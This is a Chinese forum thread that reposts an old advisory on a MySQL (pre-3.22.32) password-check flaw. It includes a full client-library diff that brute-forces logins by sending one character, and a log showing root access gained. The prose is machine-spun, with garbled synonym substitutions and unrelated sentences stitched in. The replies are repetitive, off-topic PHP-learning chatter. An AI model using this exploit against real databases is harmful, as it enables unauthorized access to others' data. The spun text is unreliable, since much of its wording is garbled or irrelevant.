老尸 发表于 2015-2-4 00:18:33

PHP网页编程之◆ Mysql低版本存在的近程会见破绽

可以在书上很方便地做标记,及时记下自己的心得体会。mysql|会见   ◆ Mysql近程会见破绽


    一. 概述

MySQL是一个经常使用的小型数据库体系,国际有良多站点正在利用它作为web数据库。
在MySQL的口令验证机制里存在平安破绽。它答应任何用户从有方针机械数据库会见权限
的机械上与该数据库停止毗连。进击者不用晓得帐号的口令,而只需晓得一个可用的帐号
名便可。
一切低于Mysql 3.22.32的版本能够都是有成绩的。

二. 细节

MySQL的口令认证的机制是如许的:当一个客户端发送一个毗连恳求的时分,办事端会首
先发生一个随机字符串(A),将这个字符串发送给客户端,客户端会用这个字符串和用户
输出的口令所发生的Hash值(B)生成一个新的字符串(C)。 并将这个新的字符串前往给服
务端。办事端将本来的随机字符串(A)与数据库中保留的口令Hash值(B')再生成一个字符
串(C'),对照这两个字符串(C和C')的内容是不是分歧,假如分歧就答应登录,不然就不答应
登录。

但是,当对照C和C'这两个字符串内容的时分,因为没有思索对照字符串的长度,招致了
成绩的发生。从sql/password.c中可以看到有成绩的代码局部:

my_bool check_scramble(const char *scrambled, const char *message,
ulong *hash_pass, my_bool old_ver)
{
......
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 1; ?* Wrong password */
}
return 0;
}
......

这里的scrambled就是客户端供应的字符串C,(*to++ ^ extra))就是办事端生成的字符串
C'(中的一个字符).咱们可以看到,对照的次数决意于客户端供应的字符串C的长度。问
题就出在这里了,原本办事端应该起首判别这两个字符串长度是不是相等的,然而它没有,
所以假如客户端供应的字符串只要一个字符,那末check_scramble()将只对照C和C'的第
一个字节。


C'的内容是随机发生的,所以第一次登录和第二次登录时,C'的第一个字符凡是是分歧的。
例如:
@SQOGRFA 第一次
VV]KPIU_ 第二次
M[PPRYX^ 第三次

然而,依据剖析,C'的每个字符只能够有32种能够性,即:
ABCDEFGHIGKLMNOPQRSTUVWXYZ\_][]@^

那末实际上说,假如咱们每次毗连都发送统一个字符(好比'A')作为口令,那末32次毗连
中会有一次胜利。固然,这只是从几率上统计,实践上测验考试的次数会从1次到100屡次不等。

三. 测试法式

依据下面的剖析,咱们只需每次发送一个字符给办事端,假如前往毛病信息,咱们再次发
送这个字符,直到胜利为止。为了复杂起见,咱们可以修正mysql的client法式.
在client/libmysql.c中, mysql_real_connect()函数是用来与办事端创立毗连的。

......
MYSQL * STDCALL
mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{

......
DBUG_PRINT("info",("user: %s",buff+5));
/* 这里的scramble()函数将发生校验用的口令字符串C,然后将C复制到strend(buff+5)+1
处,既然咱们只是要发送一个字符曩昔,咱们可以正文失落这两行,直接将一个字?br> 复制曩昔即?br> ?/
?br> ?br> end=scramble(strend(buff+5)+1, scramble_buff, passwd,
?my_bool) (mysql->protocol_version == 9));

if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
{
......
} ?br> ?br> 修正后酿成: ?br> ?.....
MYSQL * STDCALL
mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{

......
DBUG_PRINT("info",("user: %s",buff+5));
?br> /*
end=scramble(strend(buff+5)+1, scramble_buff, passwd,
?my_bool) (mysql->protocol_version == 9));
?/
end = strend(buff+5) +1 ;
*end = 'A';
end ++;
*end = '\0'; ?br>
if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
{
......
}

然后咱们将这个mysql_real_connect()更名成mysql_real_connect_orig(),机关一个新的
mysql_real_connect(),它将轮回挪用本来的mysql_real_connect_orig(),当不休测验考试发送
字符'A'停止毗连,直到经由过程口令验证为止。


注重:上面供应的法式仅供在本机测试利用,请不要用于不法目标,效果自信!

libmysql.c.diff
8<-----8<-----8<-----8<---- cut here ---8<-----8<-----8<-----8<-----8<----
--- mysql-3.22.27/client/libmysql.c Wed Oct 6 00:37:25 1999
+++ mysql-3.22.27_new/client/libmysql.c Tue Feb 13 14:12:37 2000
@@ -46,6 +46,8 @@
uint mysql_port=0;
my_string mysql_unix_port=0;

+uint trynum=0;
+
#define CLIENT_CAPABILITIES (CLIENT_LONG_PASSWORD | CLIENT_LONG_FLAG | CLIENT_LOCAL_FILES)

#if defined(MSDOS) || defined(__WIN32__)
@@ -985,13 +987,13 @@
}


-/*
+/*
** Note that the mysql argument must be initialized with mysql_init()
** before calling mysql_real_connect !
*/

MYSQL * STDCALL
-mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
+mysql_real_connect_orig(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
@@ -1276,8 +1278,15 @@
else
read_user_name((char*) buff+5);
DBUG_PRINT("info",("user: %s",buff+5));
- end=scramble(strend(buff+5)+1, scramble_buff, passwd,
- ?my_bool) (mysql->protocol_version == 9));
+/* We skip the step that create valid passwd .:) ?- warning3 */
+ //end=scramble(strend(buff+5)+1, scramble_buff, passwd,
+ // ?my_bool) (mysql->protocol_version == 9));
+ trynum++;
+ printf("Trying %d times\n",trynum);
+ end = strend(buff+5) +1 ;
+ ?end = 'A'; /* We just send one character as password */
+ end ++;
+ ?end = '\0';
if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
{
end=strmov(end+1,db);
@@ -1286,7 +1295,7 @@
}
if (my_net_write(net,buff,(uint) (end-buff)) || net_flush(net) ||
net_safe_read(mysql) == packet_error)
- goto error;
+ return NULL; /* If login failed,we return NULL */
if (client_flag & CLIENT_COMPRESS) /* We will use compression */
net->compress=1;
if (db && mysql_select_db(mysql,db))
@@ -1317,6 +1326,23 @@
DBUG_RETURN(0);
}

+/*
+** We make one fake mysql_real_connect() function,it will "brute force"
+** to guess the right password until succeed ! ?- warning3
+*/
+
+MYSQL * STDCALL
+mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
+ const char *passwd, const char *db,
+ uint port, const char *unix_socket,uint client_flag)
+{
+ MYSQL *res;
+
+ while (!(res=mysql_real_connect_orig(mysql,host,user,passwd,db,port,unix_socket,client_flag)));
+ printf("\nooOH,We come in! ;-)\n\n");
+ return res;
+
+}

static my_bool mysql_reconnect(MYSQL *mysql)
{

>8----->8----->8----->8---- cut here --->8----->8----->8----->8----->8----

$ ls -ld libmysql.c.diff mysql-3.22.27
-rw-rw-r-- ? warning3 warning3 ?409 Feb 13 14:24 libmysql.c.diff
drwxrwxr-x 21 warning3 warning3 ?096 Oct 6 06:36 mysql-3.22.27/
$ patch -p0 patching file `mysql-3.22.27/client/libmysql.c'
$ cd mysql-3.22.27
$ ./configure;make;cd client;
$ ./mysql -uroot -pblahblah
Trying 1 times
Trying 2 times
Trying 3 times
Trying 4 times
Trying 5 times
Trying 6 times

ooOH,We come in! ;-)

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 539 to server version: 3.22.27

Type 'help' for help.

mysql>

四. 处理举措

1. 晋级到最新版:


2. 关于内部毗连做Ip限制 ?br>

感激:

Robert van der Meulen 他发明了这个破绽。:)
tb 他匡助我完成这个exploit


在我开始学习PHP以前,我从未想过要做软件工程,即便是在去听过华育国际的关于软件工程的美好前景后,因为我一直都没有想过要与代码打交道,而是想学好所学专业,做个网络工程师或者是网络安全人员。

冷月葬花魂 发表于 2015-2-4 11:15:21

多看优秀程序员编写的代码,仔细理解他们解决问题的方法,对自身有很大的帮助。

小妖女 发表于 2015-2-9 04:41:53

装在C盘下面可以利用windows的ghost功能可以还原回来(顺便当做是重转啦),当然啦我的编译目录要放在别的盘下,不然自己的劳动成果就悲剧啦。

再见西城 发表于 2015-2-26 22:50:55

这些中手常用的知识,当你把我说的这些关键字都可以熟练运用的时候,你可以选择自己

admin 发表于 2015-3-8 22:43:35

遇到出错的时候,我经常把错误信息直接复制到 google的搜索栏,一般情况都是能搜到结果的,不过有时候会搜出来一大片英文的出来,这时候就得过滤一下,吧中文的弄出来,挨着式方法。

第二个灵魂 发表于 2015-3-16 15:35:20

说php的话,首先得提一下数组,开始的时候我是最烦数组的,总是被弄的晕头转向,不过后来呢,我觉得数组里php里最强大的存储方法,所以建议新手们要学好数组。

简单生活 发表于 2015-3-18 14:54:45

学好程序语言,多些才是王道,写两个小时代码的作用绝对超过看一天书,这个我是深有体会(顺便还能练打字速度)。

乐观 发表于 2015-3-25 23:53:12

真正的方向了,如果将来要去开发团队,你一定要学好smarty ,phplib这样的模板引擎,

飘灵儿 发表于 2015-4-11 03:03:47

遇到出错的时候,我经常把错误信息直接复制到 google的搜索栏,一般情况都是能搜到结果的,不过有时候会搜出来一大片英文的出来,这时候就得过滤一下,吧中文的弄出来,挨着式方法。

老尸 发表于 2015-4-16 09:10:49

建议加几个专业的phper的群,当然啦需要说话的人多,一处一点问题能有人回答你的,当然啦要让人回答你的问题,平时就得躲在里面聊天,大家混熟啦,愿意回答你问题的人自然就多啦。

因胸联盟 发表于 2015-4-16 16:41:25

如果你可以写完像留言板这样的程序,那么你可以去一些别人的代码了,

蒙在股里 发表于 2015-4-20 19:39:57

这些中手常用的知识,当你把我说的这些关键字都可以熟练运用的时候,你可以选择自己

爱飞 发表于 2015-4-22 04:53:35

做为1门年轻的语言,php一直很努力。

金色的骷髅 发表于 2015-4-27 07:50:28

在学习的过程中不能怕麻烦,不能有懒惰的思想。学习php首先应该搭建一个lamp环境或者是wamp环境。这是学习php开发的根本。虽然网络上有很多集成的环境,安装很方便,使用起来也很稳定、

小女巫 发表于 2015-5-2 11:43:35

基础有没有对学习php没有太大区别,关键是兴趣。

分手快乐 发表于 2015-5-6 17:12:57

对于初学者来说不推荐去拿钱买的。当然如果一个网站你经常去用,而且里面的资料也比较有用,最好还是买个会员比较好,毕竟那些也是别人的工作成果。

柔情似水 发表于 2015-6-21 02:04:59

有位前辈曾经跟我说过,phper 至少要掌握200个函数 编起程序来才能顺畅点,那些不熟悉的函数记不住也要一拿手册就能找到。所以建议新手们没事就看看php的手册(至少array函数和string函数是要记牢的)。

再现理想 发表于 2015-6-25 23:28:14

没接触过框架的人,也不用害怕,其实框架就是一种命名规范及插件,学会一个框架其余的框架都很好上手的。

不帅 发表于 2015-7-7 18:35:37

我还是强烈建议自己搭建php环境。因为在搭建的过程中你会遇到一些问题,通过搜索或是看php手册解决问题后,你会更加深刻的理解它们的工作原理,了解到php配置文件中的一些选项设置。

透明 发表于 2015-7-10 17:48:53

建数据库表的时候,int型要输入长度的,其实是个摆设的输入几位都没影响的,只要大于4就行,囧。
页: [1]
查看完整版本: PHP网页编程之◆ Mysql低版本存在的近程会见破绽